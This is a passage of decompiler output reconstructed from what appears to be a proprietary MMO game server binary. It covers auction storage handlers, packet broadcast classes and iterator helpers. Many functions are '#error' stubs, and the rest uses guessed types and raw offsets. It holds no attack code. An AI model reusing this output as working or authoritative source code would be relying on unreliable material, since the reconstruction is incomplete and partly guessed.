( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_14; } goto LABEL_9; } v8 = CDataReader::GetRecord(&gAuctionLimit, 0); v9 = gpp.pp_Buffer; v10 = v8; *(_WORD *)gpp.pp_Buffer = -18408; *((_WORD *)v9 + 1) = handle; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v9 + 10) = *(_DWORD *)(netcmd + 2); *((_WORD *)v9 + 7) = *((_WORD *)v10 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_CANCEL_GOOD_REQ : Packet Too Long", 16); } LABEL_18: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_CANCEL_GOOD_REQ"); } //----- (00422110) -------------------------------------------------------- #error "422110: undefined or illegal type '#593' (funcsize=63)" //----- (00422210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 bool v6; // zf@1 int v7; // eax@5 int v8; // eax@13 char *v9; // esi@14 ZoneBaseSession *v10; // eax@16 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = (_S15_1 & 1) == 0; *(_WORD *)gpp.pp_Buffer = -18402; *((_WORD *)v5 + 1) = 8896; *((_WORD *)v5 + 2) = 0; if ( v6 ) { _S15_1 |= 1u; cmc_4.cmc_AllowMode = 70; atexit(_E16_1); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_4.cmc_AllowMode) ) { *((_WORD *)v5 + 1) = 8897; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_17; } LABEL_12: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ : Packet Too Long", 6); goto LABEL_17; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 8898; goto LABEL_11; } if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1172))(v4) + 37) < 1u && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2876))(v4) ) { *((_WORD *)v5 + 1) = 8900; LABEL_11: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); goto LABEL_17; } goto LABEL_12; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -18404; *((_WORD *)v9 + 1) = handle; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ : Packet Too Long", 8); } LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ"); } //----- (00422400) -------------------------------------------------------- #error "422400: undefined or illegal type '#593' (funcsize=85)" //----- (00422530) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_ITEM_DETAIL_INFO_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 bool v6; // zf@1 int v7; // eax@5 int v8; // eax@13 char *v9; // esi@14 ZoneBaseSession *v10; // eax@16 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_ITEM_DETAIL_INFO_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_ITEM_DETAIL_INFO_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = (_S17_4 & 1) == 0; *(_WORD *)gpp.pp_Buffer = -18396; *((_WORD *)v5 + 1) = 8960; *((_DWORD *)v5 + 1) = *(_DWORD *)(netcmd + 2); if ( v6 ) { _S17_4 |= 1u; cmc_5.cmc_AllowMode = 70; atexit(_E18_4); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_5.cmc_AllowMode) ) { *((_WORD *)v5 + 1) = 8961; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_17; } LABEL_12: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ : Packet Too Long", 8); goto LABEL_17; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 8962; goto LABEL_11; } if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1172))(v4) + 37) < 1u && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2876))(v4) ) { *((_WORD *)v5 + 1) = 8964; LABEL_11: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); goto LABEL_17; } goto LABEL_12; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -18400; *((_WORD *)v9 + 1) = handle; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v9 + 2) = *(_DWORD *)(netcmd + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_ITEM_DETAIL_INFO_REQ : Packet Too Long", 12); } LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_ITEM_DETAIL_INFO_REQ"); } //----- (00422730) -------------------------------------------------------- #error "422730: undefined or illegal type '#593' (funcsize=117)" //----- (004228C0) -------------------------------------------------------- #error "4228C0: undefined or illegal type '#593' (funcsize=63)" //----- (004229C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // ebx@1 void *v5; // esi@1 char *v6; // edi@1 bool v7; // zf@1 int v8; // edx@1 int v9; // eax@13 unsigned __int8 v10; // al@14 int v11; // ebp@15 int v12; // edx@16 InventoryLocking::InventoryCellLock *v13; // eax@16 char v14; // al@17 int v15; // eax@18 int v16; // ebx@20 int v17; // eax@21 char *v18; // edi@22 char v19; // al@22 ZoneBaseSession *v20; // eax@23 char *v21; // [sp-4h] [bp-40h]@24 FunctionEntarance _; // [sp+10h] [bp-2Ch]@1 InventoryLocking::UnlockedInventoryIterator itemiter; // [sp+14h] [bp-28h]@16 ItemBoxIterEmpty itemitertmp; // [sp+20h] [bp-1Ch]@16 int v25; // [sp+38h] [bp-4h]@1 v4 = (int)"ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ"; v5 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = gpp.pp_Buffer; v7 = (_S19_11 & 1) == 0; *(_WORD *)gpp.pp_Buffer = -18392; *((_WORD *)v6 + 3) = 9024; v8 = *(_DWORD *)(netcmd + 2); v25 = 0; *(_DWORD *)(v6 + 2) = v8; if ( v7 ) { _S19_11 |= 1u; cmc_6.cmc_AllowMode = 70; atexit(_E20_9); } if ( !((1 << **((_BYTE **)v5 + 892)) & cmc_6.cmc_AllowMode) ) { *((_WORD *)v6 + 3) = 9025; LABEL_5: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { LABEL_6: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ : Packet Too Long", 8); LABEL_28: v21 = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ"; LABEL_29: --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); return; } v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 760))(v5); LABEL_27: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v5, &gpp); goto LABEL_28; } if ( !*(_DWORD *)((char *)v5 + 98) ) { *((_WORD *)v6 + 3) = 9026; LABEL_12: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) goto LABEL_6; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 760))(v5); goto LABEL_27; } if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1172))(v5) + 37) < 1u && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 2876))(v5) ) { *((_WORD *)v6 + 3) = 9027; goto LABEL_12; } v10 = *(_BYTE *)(netcmd + 6); if ( v10 > 1u ) { *((_WORD *)v6 + 3) = 9028; goto LABEL_5; } LOWORD(v11) = 0; if ( v10 ) { LOWORD(v4) = *((_WORD *)v5 + 28942); v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, int, _DWORD, _DWORD, signed int))(*(_DWORD *)v17 + 64))(v17, v4, 0, 0, 1); ++*((_WORD *)v5 + 28942); goto LABEL_22; } ItemBoxIterEmpty::ItemBoxIterEmpty( &itemitertmp, (ItemBag *)v5 + 8920, (ChargedEffectContainer *)((char *)v5 + 142688)); v12 = *(_DWORD *)v5; LOBYTE(v25) = 1; v13 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v12 + 2004))(v5); itemiter.uii_Iterator = (ItemBoxIterator *)&itemitertmp; itemiter.uii_LockList = v13; itemiter.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&itemiter) ) { v11 = itemiter.uii_Iterator->ibi_finger; LOWORD(v16) = *((_WORD *)v5 + 28942); (*(void (__thiscall **)(char *, _DWORD, signed int, int))(*((_DWORD *)v5 + 14470) + 44))( (char *)v5 + 57880, (*((_WORD *)v5 + 28942))++, 9, itemiter.uii_Iterator->ibi_finger); LOBYTE(v25) = 0; itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; LABEL_22: v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -18394; *((_WORD *)v18 + 1) = handle; *((_DWORD *)v18 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v18 + 4) = v16; *(_DWORD *)(v18 + 10) = *(_DWORD *)(netcmd + 2); *(_WORD *)(v18 + 15) = v11 & 0x3FF | 0x2400; v18[14] = *(_BYTE *)(netcmd + 6); v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 17); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ : Packet Too Long", 17) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } v21 = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ"; goto LABEL_29; } *((_WORD *)v6 + 3) = 9029; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ : Packet Too Long", 8) ) { v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 760))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v5, &gpp); } itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; v25 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00422D10) -------------------------------------------------------- #error "422D10: undefined or illegal type '#593' (funcsize=149)" //----- (00422F00) -------------------------------------------------------- char __thiscall ORToken::operator__(ORToken *this, ORToken *nm) { JUMPOUT( *(_DWORD *)&this->ort_Name[0], *(_DWORD *)&nm->ort_Name[0], Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)&this->ort_Name[4], *(_DWORD *)&nm->ort_Name[4], Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)&this->ort_Name[8], *(_DWORD *)&nm->ort_Name[8], Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)&this->ort_Name[12], *(_DWORD *)&nm->ort_Name[12], Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)&this->ort_Name[16], *(_DWORD *)&nm->ort_Name[16], Concurrency::_Order_node_base::reserve_message); return 1; } // 422F2F: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00422F40) -------------------------------------------------------- char __thiscall SubLayer::SubLayerInteractLoader::slil_Interact(SubLayer::SubLayerInteractLoader *this, SubLayer::Layer *my, SubLayer::Layer *another) { return my->l_Main == another->l_Main || my->l_Main == -1 || another->l_Main == -1; } //----- (00422F70) -------------------------------------------------------- unsigned int __thiscall AllOfRangeArgument::operator unsigned_long(AllOfRangeArgument *this) { unsigned int result; // eax@1 result = this->aora_argument + 1; this->aora_argument = result; return result; } //----- (00422F80) -------------------------------------------------------- void __thiscall AxialListIterator::AxialListIterator(AxialListIterator *this) { this->vfptr = (AxialListIteratorVtbl *)AxialListIterator::_vftable_; } // 637184: using guessed type int (__stdcall *AxialListIterator___vftable_[5])(int type, int slot, int distancesquar); //----- (00422F90) -------------------------------------------------------- void __thiscall AxialListNearGateFind::_AxialListNearGateFind(AxialListNearGateFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListIterator::_vftable_; } // 637184: using guessed type int (__stdcall *AxialListIterator___vftable_[5])(int type, int slot, int distancesquar); //----- (00422FA0) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLock::icl_IsLocked(AxialListIterator *this, #593 *type, #593 *slot, unsigned int distancesquar) { return 1; } //----- (00422FB0) -------------------------------------------------------- char __thiscall AxialListMobCounter::ali_Work(AxialListMobCounter *this, #593 *a2, #593 *a3, unsigned int distancesquar) { return ((int (__stdcall *)(_DWORD, _DWORD))this->almc_Search)(a2, a3); } //----- (00422FC0) -------------------------------------------------------- #error "422FC0: undefined or illegal type '#593' (funcsize=35)" //----- (00423020) -------------------------------------------------------- #error "423020: undefined or illegal type '#593' (funcsize=44)" //----- (004230A0) -------------------------------------------------------- #error "4230A0: undefined or illegal type '#593' (funcsize=41)" //----- (00423110) -------------------------------------------------------- #error "423110: undefined or illegal type '#593' (funcsize=45)" //----- (00423190) -------------------------------------------------------- #error "423190: undefined or illegal type '#593' (funcsize=31)" //----- (004231E0) -------------------------------------------------------- void __thiscall AxialListBossFind::AxialListBossFind(AxialListBossFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListBossFind::_vftable_; } // 637188: using guessed type int (__stdcall *AxialListBossFind___vftable_[4])(int, int, int distancesquar); //----- (00423210) -------------------------------------------------------- #error "423210: undefined or illegal type '#593' (funcsize=8)" //----- (00423230) -------------------------------------------------------- void __thiscall AxialListShowID::AxialListShowID(AxialListShowID *this, NETCOMMAND *nc) { this->alsi_nc = nc; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListShowID::_vftable_; this->alsi_IDInfo = (PROTO_NC_BRIEFINFO_PLAYER_LIST_INFO_APPEAR_CMD *)&nc[1]; LOBYTE(nc[1].protocol) = 0; } // 637190: using guessed type int (__stdcall *AxialListShowID___vftable_[2])(int, int, int distancesquar); //----- (00423260) -------------------------------------------------------- #error "423260: undefined or illegal type '#593' (funcsize=11)" //----- (00423280) -------------------------------------------------------- char __thiscall AxialListMobInAreaCounter::ali_Work(AxialListMobInAreaCounter *this, #593 *a2, #593 *a3, unsigned int distancesquar) { return ((int (__stdcall *)(_DWORD, _DWORD))this->almc_Search)(a2, a3); } //----- (00423290) -------------------------------------------------------- #error "423290: undefined or illegal type '#593' (funcsize=51)" //----- (00423320) -------------------------------------------------------- void __thiscall AxialListProtocolSend::AxialListProtocolSend(AxialListProtocolSend *this, int department, int command) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListProtocolSend::_vftable_; this->alps_department = department; this->alps_command = command; } // 63719C: using guessed type int (__stdcall *AxialListProtocolSend___vftable_[2])(int, int, int distancesquar); //----- (00423340) -------------------------------------------------------- #error "423340: undefined or illegal type '#593' (funcsize=12)" //----- (00423360) -------------------------------------------------------- void __thiscall AxialListPkTypeProtocolSend::AxialListPkTypeProtocolSend(AxialListPkTypeProtocolSend *this, FieldType pkState) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPkTypeProtocolSend::_vftable_; this->alps_PkState = pkState; } // 6371A0: using guessed type int (__stdcall *AxialListPkTypeProtocolSend___vftable_)(int, int, int distancesquar); //----- (00423380) -------------------------------------------------------- #error "423380: undefined or illegal type '#593' (funcsize=29)" //----- (004233E0) -------------------------------------------------------- void __thiscall AxialListMobKillLog::AxialListMobKillLog(AxialListMobKillLog *this, int department, int command, unsigned __int16 nMobID) { this->alps_department = department; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobKillLog::_vftable_; this->alps_command = command; this->alps_nMobID = nMobID; } // 6371DC: using guessed type int (__stdcall *AxialListMobKillLog___vftable_[2])(int, int, int distancesquar); //----- (00423410) -------------------------------------------------------- #error "423410: undefined or illegal type '#593' (funcsize=5)" //----- (00423430) -------------------------------------------------------- __int16 __thiscall AxialListNearGateFind::alngf_Gethandle(int this) { return *(_WORD *)(this + 4); } //----- (00423440) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast::AxialListPacketBroadcast(AxialListPacketBroadcast *this, ProtocolPacket *pack, int packlen) { AxialListPacketBroadcast *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListPacketBroadcast::AxialListPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListPacketBroadcast::AxialListPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->alpb_packet = pack; if ( ProtocolPacket::pp_SetPacketLen(pack, packlen) ) { v3->alpb_packetlength = packlen; } else { AssertClass::ac_AssertFail( &shineassert, "AxialListPacketBroadcast::AxialListPacketBroadcast : Too long packet", packlen); v3->alpb_packetlength = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListPacketBroadcast::AxialListPacketBroadcast"); } // 637230: using guessed type int (__stdcall *AxialListPacketBroadcast___vftable_)(int, int, int distancesquar); //----- (00423520) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast::_AxialListPacketBroadcast(AxialListPacketBroadcast *this) { AxialListPacketBroadcast *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListPacketBroadcast::~AxialListPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListPacketBroadcast::~AxialListPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListPacketBroadcast::~AxialListPacketBroadcast"); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListIterator::_vftable_; } // 637184: using guessed type int (__stdcall *AxialListIterator___vftable_[5])(int type, int slot, int distancesquar); // 637230: using guessed type int (__stdcall *AxialListPacketBroadcast___vftable_)(int, int, int distancesquar); //----- (004235A0) -------------------------------------------------------- #error "4235A0: undefined or illegal type '#593' (funcsize=110)" //----- (00423700) -------------------------------------------------------- void __thiscall AxialListPacketBroadcastByGuild::AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this, ProtocolPacket *pack, int packlen, unsigned int GRegNum) { AxialListPacketBroadcastByGuild *v4; // esi@1 v4 = this; AxialListPacketBroadcast::AxialListPacketBroadcast(&this->baseclass_0, pack, packlen); v4->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcastByGuild::_vftable_; v4->m_GuildRegNum = GRegNum; } // 6372C0: using guessed type int (__thiscall *AxialListPacketBroadcastByGuild___vftable_)(AxialListPacketBroadcast *this, #593 *, #593 *, int distancesquar); //----- (00423730) -------------------------------------------------------- void __thiscall AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcastByGuild::_vftable_; AxialListPacketBroadcast::_AxialListPacketBroadcast(&this->baseclass_0); } // 6372C0: using guessed type int (__thiscall *AxialListPacketBroadcastByGuild___vftable_)(AxialListPacketBroadcast *this, #593 *, #593 *, int distancesquar); //----- (00423740) -------------------------------------------------------- #error "423740: undefined or illegal type '#593' (funcsize=23)" //----- (00423780) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this, ProtocolPacket *pack, int packlen) { AxialListPacketBroadcast4ItemPickUp *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast4ItemPickUp::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->alpb_packet = pack; if ( ProtocolPacket::pp_SetPacketLen(pack, packlen) ) { v3->alpb_packetlength = packlen; } else { AssertClass::ac_AssertFail( &shineassert, "AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp : Too long packet", packlen); v3->alpb_packetlength = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp"); } // 637324: using guessed type int (__stdcall *AxialListPacketBroadcast4ItemPickUp___vftable_)(int, int, int distancesquar); //----- (00423860) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this) { AxialListPacketBroadcast4ItemPickUp *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast4ItemPickUp::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListPacketBroadcast4ItemPickUp::~AxialListPacketBroadcast4ItemPickUp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListPacketBroadcast4ItemPickUp::~AxialListPacketBroadcast4ItemPickUp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListPacketBroadcast4ItemPickUp::~AxialListPacketBroadcast4ItemPickUp"); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListIterator::_vftable_; } // 637184: using guessed type int (__stdcall *AxialListIterator___vftable_[5])(int type, int slot, int distancesquar); // 637324: using guessed type int (__stdcall *AxialListPacketBroadcast4ItemPickUp___vftable_)(int, int, int distancesquar); //----- (004238E0) -------------------------------------------------------- #error "4238E0: undefined or illegal type '#593' (funcsize=96)" //----- (00423A30) -------------------------------------------------------- #error "423A30: undefined or illegal type '#593' (funcsize=67)" //----- (00423B10) -------------------------------------------------------- #error "423B10: undefined or illegal type '#593' (funcsize=133)" //----- (00423CE0) -------------------------------------------------------- #error "423CE0: undefined or illegal type '#593' (funcsize=40)" //----- (00423D50) -------------------------------------------------------- #error "423D50: undefined or illegal type '#593' (funcsize=43)" //----- (00423DC0) -------------------------------------------------------- #error "423DC0: undefined or illegal type '#593' (funcsize=46)" //----- (00423E40) -------------------------------------------------------- #error "423E40: undefined or illegal type '#593' (funcsize=50)" //----- (00423ED0) -------------------------------------------------------- #error "423ED0: undefined or illegal type '#593' (funcsize=75)" //----- (00423FC0) -------------------------------------------------------- #error "423FC0: undefined or illegal type '#593' (funcsize=74)" //----- (00424090) -------------------------------------------------------- void __thiscall Name8::operator_(Name8 *this, const char *nm) { *(_QWORD *)&this->n8_name[24] = 0i64; *(_QWORD *)&this->n8_name[16] = 0i64; *(_QWORD *)&this->n8_name[8] = 0i64; *(_QWORD *)&this->n8_name[0] = 0i64; strncpy(this->n8_name, nm, 0x20u); } //----- (004240C0) -------------------------------------------------------- #error "4240C0: undefined or illegal type '#593' (funcsize=10)" //----- (004240F0) -------------------------------------------------------- ShineCommonParameter::ShineParameter *__thiscall ShineCommonParameter::operator_>(ShineCommonParameter *this) { return &this->scp_param; } //----- (00424100) -------------------------------------------------------- char __thiscall FieldMap::fm_IsItemDropField(int this, int a2) { int v2; // edi@1 char result; // al@4 v2 = this; if ( !a2 || !*(_DWORD *)(this + 12) ) goto LABEL_10; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1228))(a2) == 2 ) return *(_BYTE *)(*(_DWORD *)(v2 + 12) + 97) & 2; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1228))(a2) == 5 ) result = *(_BYTE *)(*(_DWORD *)(v2 + 12) + 97) & 1; else LABEL_10: result = 0; return result; } //----- (00424160) -------------------------------------------------------- void __thiscall BriefInfoBackup::bib_Restore(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape) { if ( this->bib_Backuped ) { memcpy(shape, this, 0x2Fu); this->bib_Backuped = 0; } } //----- (00424190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set(ShineObjectClass::ShinePlayer::TimeScheduler *this, ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *fnc)(#734 *), ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType defaultreturn, ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork work, int millisec) { this->ts_Limit = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(10 * millisec * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * millisec * (signed __int64)(signed int)((char 